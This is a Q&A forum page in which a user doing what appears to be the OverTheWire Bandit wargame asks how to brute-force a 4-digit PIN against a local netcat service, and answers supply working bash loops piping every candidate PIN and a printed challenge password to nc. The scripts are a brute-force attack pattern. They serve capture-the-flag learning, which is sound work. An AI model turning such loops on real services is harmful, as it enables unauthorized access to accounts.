I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:

 nc localhost 30002 
 sleep 2 

 for i in {0000..9999}; 
     if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];                   
     echo '[+] Pincode Cracked! Pincode = $i' 

but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]]; What am I doing wrong here?


Okay, so after researching around. I wrote this:

for i in {0000..9999} do if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ] then sleep 0.1 continue fi echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]" done

This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.

  • You're missing a do in your for loop. $i is in single quotes in both places so it wont be expanded. You need a space after ^Wrong* and before ]]. continue will cause it to skip echo '[+] Pincode Cracked! Pincode = $i' every time. – Jesse_b Mar 22 '18 at 21:56
  • 3
    Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering. – roaima Mar 22 '18 at 23:36

That's because you're not telling your script to write anything to nc's standard input. Your script starts netcat, waits for it to terminate, and then sleeps for two seconds before executing the for loop. You probably want a construct such as:

for i in {0000..9999}; do
    : stuff
done | nc localhost 30002

Here a working answere that is fast and working:

for i in {0000..9999}; do
            echo "$passwd24 $i"
done | nc localhost 30002  | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"

Your updated answer is very slow. The connections will live when a wrong answer is filled in. Like a earlier answer showed, is a pipeline at the end of the for-loop. If you really wanne know the correct pin you can add a line before the echo that echo "the correct pass: $1" > /tmp/correctpin.txt. This is not relevant for the purpose of receiving the correct passwd.

for i in {0000..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.